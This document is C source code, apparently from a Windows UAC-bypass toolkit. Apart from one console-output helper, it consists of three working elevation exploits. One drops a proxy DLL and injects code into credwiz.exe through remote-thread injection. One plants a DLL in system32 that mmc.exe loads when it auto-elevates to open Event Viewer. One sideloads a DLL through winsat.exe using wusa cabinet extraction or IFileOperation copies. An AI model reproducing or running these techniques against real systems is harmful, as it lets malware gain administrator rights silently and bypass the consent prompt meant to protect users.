/* * cuiPrintTextW * * Purpose: * * Output text to the console or file. * UNICODE version. * */ VOID cuiPrintTextW( _In_ LPWSTR lpText, _In_ BOOL UseReturn ) { SIZE_T consoleIO; DWORD bytesIO; LPWSTR Buffer; if (lpText == NULL) return; consoleIO = _strlen_w(lpText); if ((consoleIO == 0) || (consoleIO > MAX_PATH * 4)) return; consoleIO = consoleIO * sizeof(WCHAR) + 4 + sizeof(UNICODE_NULL); Buffer = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, consoleIO); if (Buffer) { _strcpy(Buffer, lpText); if (UseReturn) _strcat_w(Buffer, TEXT("\r\n")); consoleIO = _strlen_w(Buffer); if (g_ConsoleOutput != FALSE) { WriteConsoleW(g_ConOut, Buffer, (DWORD)consoleIO, &bytesIO, NULL); } else { WriteFile(g_ConOut, Buffer, (DWORD)(consoleIO * sizeof(WCHAR)), &bytesIO, NULL); } HeapFree(GetProcessHeap(), 0, Buffer); } }
/* * ucmH1N1Method * * Purpose: * * Bypass UAC by abusing OOBE.exe backdoor hardcoded in appinfo.dll * */ BOOL ucmH1N1Method( PVOID ProxyDll, DWORD ProxyDllSize ) { BOOL cond = FALSE, bResult = FALSE; DWORD c; HANDLE hProcess = NULL, hRemoteThread = NULL; HINSTANCE selfmodule = GetModuleHandle(NULL); PIMAGE_DOS_HEADER pdosh = (PIMAGE_DOS_HEADER)selfmodule; PIMAGE_FILE_HEADER fh = (PIMAGE_FILE_HEADER)((char *)pdosh + pdosh->e_lfanew + sizeof(DWORD)); PIMAGE_OPTIONAL_HEADER opth = (PIMAGE_OPTIONAL_HEADER)((char *)fh + sizeof(IMAGE_FILE_HEADER)); LPVOID remotebuffer = NULL, newEp, newDp; SIZE_T NumberOfBytesWritten = 0; PELOAD_PARAMETERS_4 elvpar = &g_ElevParamsH1N1; LPVOID elevproc = ucmElevatedLaunchProc; WCHAR szBuffer[MAX_PATH * 2]; WCHAR szDest[MAX_PATH + 1]; WCHAR szSource[MAX_PATH + 1]; if ( (ProxyDll == NULL) || (ProxyDllSize == 0) ) { return bResult; } do { //put Fubuki dll as netutils to %temp% RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); _strcpy_w(szBuffer, TEMPDIR); _strcat_w(szBuffer, L"netutils.dll"); RtlSecureZeroMemory(szSource, sizeof(szSource)); if (ExpandEnvironmentStrings(szBuffer, szSource, MAX_PATH) == 0) { break; } if (!supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize)) { OutputDebugString(TEXT("[UCM] Failed to drop dll")); break; } else { OutputDebugStringW(TEXT("[UCM] Dll dropped successfully")); } //copy dll to wbem target folder RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); if (ExpandEnvironmentStringsW(WBEMDIR, szBuffer, MAX_PATH) == 0) { break; } //note: uacmAutoElevateCopyFile uses injection to explorer.exe bResult = ucmAutoElevateCopyFile(szSource, szBuffer); if (!bResult) { break; } //copy 1st stage target process RtlSecureZeroMemory(szSource, sizeof(szSource)); if (ExpandEnvironmentStrings(L"%systemroot%\\system32\\credwiz.exe", szSource, MAX_PATH) == 0) { break; } RtlSecureZeroMemory(szDest, sizeof(szDest)); if (ExpandEnvironmentStrings(L"%temp%\\oobe.exe", szDest, MAX_PATH) == 0) { break; } if (!CopyFile(szSource, szDest, FALSE)) { break; } bResult = ucmAutoElevateCopyFile(szDest, szBuffer); if (!bResult) { break; } //setup basic shellcode routines RtlSecureZeroMemory(&g_ElevParamsH1N1, sizeof(g_ElevParamsH1N1)); elvpar->xShellExecuteExW = (pfnShellExecuteExW)GetProcAddress(g_ldp.hShell32, "ShellExecuteExW"); elvpar->xWaitForSingleObject = (pfnWaitForSingleObject)GetProcAddress(g_ldp.hKernel32, "WaitForSingleObject"); elvpar->xCloseHandle = (pfnCloseHandle)GetProcAddress(g_ldp.hKernel32, "CloseHandle"); //set shellcode 2nd stage target process RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); _strcpy_w(elvpar->szTargetApp, g_ldp.szSystemDirectory); //c:\windows\system32\wbem\oobe.exe _strcat_w(elvpar->szTargetApp, L"\\wbem\\oobe.exe"); _strcpy_w(elvpar->szVerb, L"runas"); _strcpy_w(szBuffer, g_ldp.szSystemDirectory); //c:\windows\system32\credwiz.exe _strcat_w(szBuffer, L"\\credwiz.exe"); //run 1st stage target process hProcess = supRunProcessEx(szBuffer, NULL, NULL); if (hProcess == NULL) { OutputDebugString(TEXT("[UCM] Cannot open target process.")); break; } remotebuffer = VirtualAllocEx(hProcess, NULL, (SIZE_T)opth->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (remotebuffer == NULL) { OutputDebugString(TEXT("[UCM] Cannot allocate memory in target process.")); break; } if (!WriteProcessMemory(hProcess, remotebuffer, selfmodule, opth->SizeOfImage, &NumberOfBytesWritten)) { OutputDebugString(TEXT("[UCM] Cannot write to the target process memory.")); break; } newEp = (char *)remotebuffer + ((char *)elevproc - (char *)selfmodule); newDp = (char *)remotebuffer + ((char *)elvpar - (char *)selfmodule); hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, newEp, newDp, 0, &c); bResult = (hRemoteThread != NULL); if (bResult) { WaitForSingleObject(hRemoteThread, INFINITE); CloseHandle(hRemoteThread); } } while (cond); if (hProcess != NULL) { TerminateProcess(hProcess, 0); CloseHandle(hProcess); } return bResult; }
/* * ucmMMCMethod * * Purpose: * * Bypass UAC by abusing MMC.exe backdoor hardcoded in appinfo.dll * */ BOOL ucmMMCMethod( LPWSTR lpTargetDll, PVOID ProxyDll, DWORD ProxyDllSize ) { BOOL bResult = FALSE, cond = FALSE; WCHAR szSource[MAX_PATH + 1]; WCHAR szDest[MAX_PATH + 1]; WCHAR szBuffer[MAX_PATH + 1]; if ( (ProxyDll == NULL) || (ProxyDllSize == 0) || (lpTargetDll == NULL) ) { return bResult; } if (_strlen_w(lpTargetDll) > 100) { return bResult; } do { //put target dll RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); _strcpy_w(szBuffer, TEMPDIR); _strcat_w(szBuffer, lpTargetDll); //expand string for proxy dll RtlSecureZeroMemory(szSource, sizeof(szSource)); if (ExpandEnvironmentStrings(szBuffer, szSource, MAX_PATH) == 0) { break; } //write proxy dll to disk if (!supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize)) { OutputDebugString(TEXT("[UCM] Failed to drop dll")); break; } else { OutputDebugStringW(TEXT("[UCM] Dll dropped successfully")); } //expand string for target dir RtlSecureZeroMemory(szDest, sizeof(szDest)); if (ExpandEnvironmentStringsW(SYSTEMROOTDIR, szDest, MAX_PATH) == 0) { break; } //drop fubuki to system32 bResult = ucmAutoElevateCopyFile(szSource, szDest); if (!bResult) { break; } //run mmc console //because of mmc harcoded backdoor uac will autoelevate mmc with valid and trusted MS command //event viewer will attempt to load not existing dll, so we will give him our little friend bResult = supRunProcess(L"mmc.exe", L"eventvwr.msc"); } while (cond); return bResult; }
/* * ucmWinSATMethod * * Purpose: * * Acquire elevation through abusing APPINFO.DLL whitelisting model logic and wusa installer/IFileOperation autoelevation. * Slightly modified target and proxydll can work almost with every autoelevated/whitelisted application. * This method uses advantage of wusa to write to the protected folders, but can be adapted to IFileOperation too. * WinSAT used for demonstration purposes only. * */ BOOL ucmWinSATMethod( LPWSTR lpTargetDll, PVOID ProxyDll, DWORD ProxyDllSize, BOOL UseWusa ) { BOOL bResult = FALSE, cond = FALSE; CABDATA *Cabinet = NULL; WCHAR szSource[MAX_PATH + 1]; WCHAR szDest[MAX_PATH + 1]; WCHAR szBuffer[MAX_PATH + 1]; if ( (ProxyDll == NULL) || (ProxyDllSize == 0) || (lpTargetDll == NULL) ) { return bResult; } if (_strlen_w(lpTargetDll) > 100) { return bResult; } RtlSecureZeroMemory(szSource, sizeof(szSource)); RtlSecureZeroMemory(szDest, sizeof(szDest)); do { if (ExpandEnvironmentStrings(L"%systemroot%\\system32\\winsat.exe", szSource, MAX_PATH) == 0) { break; } if (ExpandEnvironmentStrings(L"%temp%\\winsat.exe", szDest, MAX_PATH) == 0) { break; } // Copy winsat to temp directory if (!CopyFile(szSource, szDest, FALSE)) { break; } //put target dll RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); _strcpy_w(szBuffer, TEMPDIR); _strcat_w(szBuffer, lpTargetDll); //expand string for proxy dll RtlSecureZeroMemory(szSource, sizeof(szSource)); if (ExpandEnvironmentStrings(szBuffer, szSource, MAX_PATH) == 0) { break; } //write proxy dll to disk if (!supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize)) { OutputDebugString(TEXT("[UCM] Failed to drop dll")); break; } else { OutputDebugStringW(TEXT("[UCM] Dll dropped successfully")); } // // Two options: use wusa installer or IFileOperation // if ( UseWusa ) { //build cabinet RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); if (ExpandEnvironmentStringsW(T_MSUPACKAGE_NAME, szBuffer, MAX_PATH) == 0) { break; } Cabinet = cabCreate(szBuffer); if (Cabinet) { //expand string for winsat.exe if (ExpandEnvironmentStrings(L"%temp%\\winsat.exe", szDest, MAX_PATH) == 0) { break; } //put proxy dll inside cabinet cabAddFile(Cabinet, szSource, lpTargetDll); //put winsat.exe cabAddFile(Cabinet, szDest, L"winsat.exe"); cabClose(Cabinet); Cabinet = NULL; } else { OutputDebugString(TEXT("[UCM] Error creating cab archive")); break; } //extract package ucmWusaExtractPackage(T_WINSAT_CMDLINE); RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); if (ExpandEnvironmentStrings(T_WINSAT_TARGET, szBuffer, MAX_PATH) == 0) { break; } bResult = supRunProcess(szBuffer, NULL); } else { //wusa extract banned, switch to IFileOperation. RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); if (ExpandEnvironmentStringsW(M1W7_TARGETDIR, szBuffer, MAX_PATH) == 0) { break; } bResult = ucmAutoElevateCopyFile(szSource, szBuffer); if (!bResult) { break; } bResult = ucmAutoElevateCopyFile(szDest, szBuffer); if (!bResult) { break; } Sleep(0); //run winsat RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); if (ExpandEnvironmentStrings(T_WINSAT_TARGET, szBuffer, MAX_PATH) == 0) { break; } bResult = supRunProcess(szBuffer, NULL); //cleanup of the above files must be done by payload code } } while (cond); if (Cabinet) { cabClose(Cabinet); } //remove trash from %temp% if (szDest[0] != 0) { DeleteFileW(szDest); } if (szSource[0] != 0) { DeleteFileW(szSource); } return bResult; }